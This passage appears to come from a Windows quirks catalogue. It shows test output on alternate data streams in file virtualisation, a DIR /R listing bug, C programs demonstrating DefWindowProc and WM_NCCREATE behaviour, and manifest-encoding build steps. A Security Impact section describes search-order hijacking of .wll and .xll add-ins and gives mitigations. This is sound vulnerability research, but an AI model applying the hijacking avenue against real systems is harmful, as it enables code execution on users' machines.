    File 'C:\Windows\system32:Quirk20.iso' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.iso'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.iso'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.iso'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.iso'
    File 'C:\Windows\system32:Quirk20.isp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.isp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.isp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.isp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.isp'
    File 'C:\Windows\system32:Quirk20.its' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.its'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.its'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.its'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.its'
    File 'C:\Windows\system32:Quirk20.js' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.js'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.js'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.js'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.js'
    File 'C:\Windows\system32:Quirk20.jse' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.jse'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.jse'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.jse'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.jse'
    File 'C:\Windows\system32:Quirk20.lnk' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.lnk'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.lnk'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.lnk'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.lnk'
    File 'C:\Windows\system32:Quirk20.msc' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.msc'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.msc'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.msc'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.msc'
    File 'C:\Windows\system32:Quirk20.msi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.msi'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.msi'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.msi'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.msi'
    File 'C:\Windows\system32:Quirk20.msp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.msp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.msp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.msp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.msp'
    File 'C:\Windows\system32:Quirk20.mst' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.mst'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.mst'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.mst'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.mst'
    File 'C:\Windows\system32:Quirk20.mui' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.mui'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.mui'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.mui'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.mui'
    File 'C:\Windows\system32:Quirk20.nls' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.nls'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.nls'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.nls'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.nls'
    File 'C:\Windows\system32:Quirk20.ocx' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.ocx'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.ocx'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.ocx'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.ocx'
    File 'C:\Windows\system32:Quirk20.pif' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.pif'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.pif'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.pif'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.pif'
    File 'C:\Windows\system32:Quirk20.reg' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.reg'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.reg'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.reg'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.reg'
    File 'C:\Windows\system32:Quirk20.scr' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.scr'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.scr'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.scr'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.scr'
    File 'C:\Windows\system32:Quirk20.sct' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.sct'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.sct'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.sct'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.sct'
    File 'C:\Windows\system32:Quirk20.shb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.shb'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.shb'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.shb'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.shb'
    File 'C:\Windows\system32:Quirk20.shs' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.shs'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.shs'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.shs'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.shs'
    File 'C:\Windows\system32:Quirk20.sys' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.sys'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.sys'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.sys'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.sys'
    File 'C:\Windows\system32:Quirk20.tlb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.tlb'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.tlb'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.tlb'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.tlb'
    File 'C:\Windows\system32:Quirk20.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.tmp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.tmp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.tmp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.tmp'
    File 'C:\Windows\system32:Quirk20.tsp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.tsp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.tsp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.tsp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.tsp'
    File 'C:\Windows\system32:Quirk20.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.ttf'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.ttf'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.ttf'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.ttf'
    File 'C:\Windows\system32:Quirk20.url' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.url'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.url'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.url'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.url'
    File 'C:\Windows\system32:Quirk20.vb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.vb'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.vb'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.vb'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.vb'
    File 'C:\Windows\system32:Quirk20.vbe' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.vbe'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.vbe'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.vbe'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.vbe'
    File 'C:\Windows\system32:Quirk20.vbs' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.vbs'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.vbs'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.vbs'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.vbs'
    File 'C:\Windows\system32:Quirk20.wll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.wll'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.wll'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.wll'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.wll'
    File 'C:\Windows\system32:Quirk20.wsc' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.wsc'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.wsc'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.wsc'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.wsc'
    File 'C:\Windows\system32:Quirk20.wsf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.wsf'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.wsf'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.wsf'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.wsf'
    File 'C:\Windows\system32:Quirk20.wsh' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.wsh'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.wsh'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.wsh'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.wsh'
    File 'C:\Windows\system32:Quirk20.xll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.xll'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.xll'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.xll'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.xll'
    0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2)
    Error message text: The system cannot find the file specified.
    CertUtil: -error command completed successfully.
    OUCH: although creation of Alternate Data Streams succeeds, all subsequent accesses fail with either the wrong Win32 error code 2 alias ERROR_FILE_NOT_FOUND or the wrong error code 126 alias ERROR_MOD_NOT_FOUND, i.e. File Virtualisation of Alternate Data Streams is seriously broken!
  6. Show the bug of the DIR command:

    MKDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32\Quirk20"
    DIR /R /S "%LOCALAPPDATA%\VirtualStore\Windows"
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          System32
                                         2 System32:Quirk20.acm:$DATA
                                         2 System32:Quirk20.asa:$DATA
                                         2 System32:Quirk20.asp:$DATA
                                         2 System32:Quirk20.ax:$DATA
                                         2 System32:Quirk20.bat:$DATA
                                         2 System32:Quirk20.chm:$DATA
                                         2 System32:Quirk20.cmd:$DATA
                                         2 System32:Quirk20.cnt:$DATA
                                         2 System32:Quirk20.cnv:$DATA
                                         2 System32:Quirk20.com:$DATA
                                         2 System32:Quirk20.cpl:$DATA
                                         2 System32:Quirk20.crt:$DATA
                                         2 System32:Quirk20.dll:$DATA
                                         2 System32:Quirk20.drv:$DATA
                                         2 System32:Quirk20.efi:$DATA
                                         2 System32:Quirk20.exe:$DATA
                                         2 System32:Quirk20.fon:$DATA
                                         2 System32:Quirk20.hlp:$DATA
                                         2 System32:Quirk20.hta:$DATA
                                         2 System32:Quirk20.ime:$DATA
                                         2 System32:Quirk20.inf:$DATA
                                         2 System32:Quirk20.ins:$DATA
                                         2 System32:Quirk20.iso:$DATA
                                         2 System32:Quirk20.isp:$DATA
                                         2 System32:Quirk20.its:$DATA
                                         2 System32:Quirk20.js:$DATA
                                         2 System32:Quirk20.jse:$DATA
                                         2 System32:Quirk20.lnk:$DATA
                                         2 System32:Quirk20.msc:$DATA
                                         2 System32:Quirk20.msi:$DATA
                                         2 System32:Quirk20.msp:$DATA
                                         2 System32:Quirk20.mst:$DATA
                                         2 System32:Quirk20.mui:$DATA
                                         2 System32:Quirk20.nls:$DATA
                                         2 System32:Quirk20.ocx:$DATA
                                         2 System32:Quirk20.pif:$DATA
                                         2 System32:Quirk20.reg:$DATA
                                         2 System32:Quirk20.scr:$DATA
                                         2 System32:Quirk20.sct:$DATA
                                         2 System32:Quirk20.shb:$DATA
                                         2 System32:Quirk20.shs:$DATA
                                         2 System32:Quirk20.sys:$DATA
                                         2 System32:Quirk20.tlb:$DATA
                                         2 System32:Quirk20.tmp:$DATA
                                         2 System32:Quirk20.tsp:$DATA
                                         2 System32:Quirk20.ttf:$DATA
                                         2 System32:Quirk20.url:$DATA
                                         2 System32:Quirk20.vb:$DATA
                                         2 System32:Quirk20.vbe:$DATA
                                         2 System32:Quirk20.vbs:$DATA
                                         2 System32:Quirk20.wll:$DATA
                                         2 System32:Quirk20.wsc:$DATA
                                         2 System32:Quirk20.wsf:$DATA
                                         2 System32:Quirk20.wsh:$DATA
                                         2 System32:Quirk20.xll:$DATA
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32
    
    04/27/2020   8:15 PM    <DIR>          .
                                         2 .:Quirk20.acm:$DATA
                                         […]
                                         2 .:Quirk20.xll:$DATA
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Config
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32\Quirk20
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
                                         2 ..:Quirk20.acm:$DATA
                                         […]
                                         2 ..:Quirk20.xll:$DATA
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                  10 Dir(s)   9,876,543,210 bytes free
    Oops: the builtin DIR /R command of the Command Processor enumerates Alternate Data Streams not only on regular directories, but also on the virtual directories . and .. synthesised by the Win32 functions FindFirstFile() and FindNextFile(), resulting in (double or) triple listing of Alternate Data Streams when the switches /R and /S are used together!
  7. Finally cleanup the garbage left in the virtual store due to the first bug:

    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32\Quirk20"
    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32"
    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\SysWoW64"
Note: the evaluation of this (mis)behaviour for other extensions or with the Win32 functions CreateFileTransacted() and DeleteFileTransacted() as well as CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW(), CreateSymbolicLink(), CreateSymbolicLinkTransacted(), LoadLibraryEx(), LoadModule(), MoveFile(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress(), ReplaceFile(), ShellExecute(), ShellExecuteEx() and WinExec() is left as an exercise to the reader.

Note: the comparison of the dangerous extensions exempted from File Virtualisation against the Unsafe File List documented in the MSKB article 291369 is also left as an exercise to the reader.

Security Impact

On Windows Vista and newer versions, (legacy) 32-bit applications like Microsoft Office 2003 and earlier versions, which are subject to File Virtualisation and load add-ins from DLLs with extensions like .wll or .xll, are vulnerable to well-known weaknesses like CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, documented in the CWE, and allow well-known attacks like CAPEC-471: Search Order Hijacking documented in the CAPEC.

Mitigation

Disable file (and registry) virtualisation:
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableVirtualization"=dword:00000000
This policy setting is documented in the TechNet article UAC Group Policy Settings and Registry Key Settings.

Alternate Mitigation

Use SAFER alias Software Restriction Policies, AppLocker or Microsoft Defender Application Guard to deny execution in every user’s virtual store directory %LOCALAPPDATA%\VirtualStore\ and below.

Caveat: beware but of their loopholes!

Quirk № 21

The Win32 functions DefWindowProc() and PostQuitMessage() are documented in the MSDN as follows:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.
The WM_NCCREATE message is documented in the MSDN as follows:
Sent prior to the WM_CREATE message when a window is first created.

A window receives this message through its WindowProc function.

[…]

If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.

DefWindowProc() but does not provide the typical response to the WM_DESTROY message, and returning TRUE in response to the WM_NCCREATE message fails to register and set the window title!

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk21.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    LRESULT	WINAPI	WindowProc(HWND   hWindow,
    		           UINT   uMessage,
    		           WPARAM wParam,
    		           LPARAM lParam)
    {
    	switch (uMessage)
    	{
    #if QUIRKS == 1	// NOTE: DefWindowProc() must be called in response to the
    		//        WM_NCCREATE message to register the window title!
    
    	case WM_NCCREATE:
    		return (LRESULT) 1;
    #endif
    	case WM_DESTROY:
    		PostQuitMessage(0);
    
    //	case WM_NULL:
    //	case WM_NCDESTROY:
    //	case WM_CREATE:
    		return (LRESULT) 0;
    
    	default:
    		return DefWindowProc(hWindow, uMessage, wParam, lParam);
    	}
    }
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	DWORD	dwError;
    	LRESULT lResult;
    	BOOL	bResult;
    	HWND	hWindow;
    	MSG	msg;
    	WNDCLASSEX	wce = {sizeof(wce),
    			       CS_GLOBALCLASS,
    #if QUIRKS == 2	// NOTE: DefWindowProc() does not call PostQuitMessage()
    		//        in response to the WM_DESTROY message!
    			       DefWindowProc,
    #else
    			       WindowProc,
    #endif
    			       0,
    			       0,
    			       (HINSTANCE) &__ImageBase,
    			       (HICON) NULL,
    			       (HCURSOR) NULL,
    			       (HBRUSH) COLOR_BACKGROUND,
    			       (LPCWSTR) NULL,
    			       L"Quirks Demonstration Class",
    			       (HICON) NULL};
    	ATOM	atom = RegisterClassEx(&wce);
    
    	if (atom == 0)
    		dwError = GetLastError();
    	else
    	{
    		hWindow = CreateWindowEx(WS_EX_APPWINDOW,
    		                         wce.lpszClassName,
    		                         L"Quirks Demonstration Window",
    		                         WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    		                         CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
    		                         (HWND) NULL,
    		                         (HMENU) NULL,
    		                         wce.hInstance,
    		                         NULL);
    
    		if (hWindow == NULL)
    			dwError = GetLastError();
    		else
    		{
    			while ((bResult = GetMessage(&msg, (HWND) NULL, 0, 0)) > 0)
    			{
    				if (TranslateMessage(&msg))
    					;
    
    				lResult = DispatchMessage(&msg);
    			}
    
    			dwError = bResult < 0 ? GetLastError() : msg.wParam;
    		}
    
    		if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk21.exe from the source file quirk21.c created in step 1. with the preprocessor macro QUIRKS defined as 2:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=2 quirk21.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk21.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk21.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk21.exe
    quirk21.obj
  3. Start the console application quirk21.exe built in step 2. and close its window to demonstrate the first (mis)behaviour:

    .\quirk21.exe
    OUCH¹: although the application window titled Quirks Demonstration Window was closed, the Command Processor waits for the child process to terminate – for example through the Ctrl C keyboard shortcut!

    Contrary to its documentation cited above, the Win32 function DefWindowProc() fails to provide the typical response to the WM_DESTROY message, i.e. it does not call PostQuitMessage() to terminate the message loop running in the calling thread of the process!

  4. Build the console application quirk21.exe from the source file quirk21.c created in step 1. again, now with the preprocessor macro QUIRKS defined as 1:

    CL.EXE /DQUIRKS=1 quirk21.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk21.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk21.exe
    quirk21.obj
  5. Start the console application quirk21.exe built in step 4. to demonstrate the second (mis)behaviour:

    .\quirk21.exe
    [Screen shot of untitled application window on Windows XP] [Screen shot of untitled application window on Windows 7] [Screen shot of untitled application window on Windows 10]
    OUCH²: the application window is displayed without its title Quirks Demonstration Window!

    Contrary to the documentation cited above, an application’s WindowProc() must not return TRUE in response to the WM_NCCREATE message, but needs to call the DefWindowProc() function instead!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 22

The MSDN article Application Manifest specifies:
An application manifest is an XML file that describes and identifies the shared and private side-by-side assemblies that an application should bind to at run time. These should be the same assembly versions that were used to test the application. Application manifests may also describe metadata for files that are private to the application.

For a complete listing of the XML schema, see […]

Windows’ module loader but fails with STATUS_SXS_CANT_GEN_ACTCTX when a valid XML encoding like US-ASCII, UTF-7, UTF-16 or Windows-1252 other than UTF-8 is used in an application manifest or a side-by-side manifest!

Demonstration

Perform the following 10 (plus 1 optional) simple steps to show the (mis)behaviour.
  1. Create the text file quirk22.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef DLL
    __declspec(dllexport)
    void	quirk22(void *window, void *instance, char *cmdline, int cmdshow)
    {
    	return;
    }
    
    int	_DllMainCRTStartup(void *module, int reason, void *reserved)
    {
    	return reason == 1;
    }
    #else
    int	wmainCRTStartup(void)
    {
    	return -123456789;
    }
    #endif // DLL
  2. Build the DLL quirk22.dll with the function quirk22() exported and the console application quirk22.exe from the source file quirk22.c created in step 1.:

    SET CL=/GAFyz /Oisy /W4 /Zl
    SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB
    CL.EXE /DDLL /Gz /LD /wd4100 quirk22.c
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /Gz quirk22.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk22.dll and quirk22.exe build without any library!

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk22.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /EXPORT:quirk22=quirk22 /NODEFAULTLIB
    /out:quirk22.dll
    /dll
    /implib:quirk22.lib
    quirk22.obj
       Creating library quirk22.lib and object quirk22.exp
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk22.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk22.exe
    quirk22.obj
  3. Load and execute the DLL quirk22.dll built in step 2. with RunDLL32.exe to verify its proper function:

    RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"
  4. Create the text file quirk22.rc with the following content next to the files quirk22.* created in the steps 1. and 2.:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define RT_MANIFEST	24
    
    #define CREATEPROCESS_MANIFEST_RESOURCE_ID	1
    #define ISOLATIONAWARE_MANIFEST_RESOURCE_ID	2
    
    ISOLATIONAWARE_MANIFEST_RESOURCE_ID RT_MANIFEST
    BEGIN
        // BUG: the module loader fails with STATUS_SXS_CANT_GEN_ACTCTX
        //      when a valid encoding other than 'UTF-8' is specified!
    
        "<?xml version='1.0' encoding='US-ASCII' standalone='yes' ?>\n"
        "<!-- Copyright (C) 2004-2022, Stefan Kanthak -->\n"
        "<assembly\n"
        "    manifestVersion='1.0'\n"
        "    xmlns='urn:schemas-microsoft-com:asm.v1'>\n"
        "    <assemblyIdentity\n"
        "        name='Quirk22'\n"
        "        processorArchitecture='*'\n"
        "        type='win32'\n"
        "        version='0.8.1.5' />\n"
        "</assembly>\n"
    END
  5. Create the resource file quirk22.res with the (side-by-side) manifest for the DLL from the file quirk22.rc created in step 4.:

    RC.EXE /L 0 /R /X quirk22.rc
    Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
    Copyright (C) Microsoft Corporation.  All rights reserved.
  6. Rebuild the DLL quirk22.dll and embed the (side-by-side) manifest from the resource file quirk22.res created in step 5.:

    SET CL=/GAFyz /Oisy /W4 /Zl
    SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB
    CL.EXE /DDLL /Gz /LD /wd4100 quirk22.c quirk22.res
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk22.c
    
